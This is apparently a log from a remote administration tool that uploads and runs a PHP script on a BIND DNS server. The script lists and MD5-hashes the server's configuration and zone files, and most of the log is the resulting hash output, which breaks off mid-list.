runuser -l bind -s /bin/bash -c '/tmp/pkp601477; rm /tmp/pkp601477'

2026-04-25 18:00:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:00:19: Establishing a connection
2026-04-25 18:00:19: 

PUT: /tmp/pkp326052

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:00:19: 

runuser -l bind -s /bin/bash -c '/tmp/pkp326052; rm /tmp/pkp326052'

2026-04-25 18:00:19: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
